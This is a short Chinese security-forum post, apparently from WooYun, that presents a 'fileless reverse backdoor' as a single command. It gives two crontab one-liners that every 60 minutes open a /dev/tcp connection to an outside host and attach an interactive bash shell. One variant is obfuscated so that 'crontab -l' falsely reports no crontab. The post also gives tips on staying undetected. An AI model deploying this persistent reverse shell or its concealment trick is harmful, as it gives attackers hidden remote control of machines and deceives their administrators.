一条命令实现无文件兼容性强的反弹后门 (WOOY

  • A+
所属分类：WooYun-Zone

猪猪侠一条命令实现无文件兼容性强的反弹后门 (WOOY (每次有人骂我是猪我都说自己是猪猪侠) 一条命令实现无文件兼容性强的反弹后门 (WOOY | 2015-01-25 20:15

最好用一个不常见的用户执行，任务写入/var/spool/cron/$username

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

升级猥琐版，crontab -l 直接提示no crontab for $username
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

60分钟反连一次，在未连接状态启动反连任务的时候，进程和端口都无状态

-bash: connect: Connection refused
-bash: /dev/tcp/dns.wuyun.org/53: Connection refused
-bash: 9: Bad file descriptor
-bash: 9: Bad file descriptor
也就是说，你安装后，如果不连接成功，是很难被发现的。

分享到：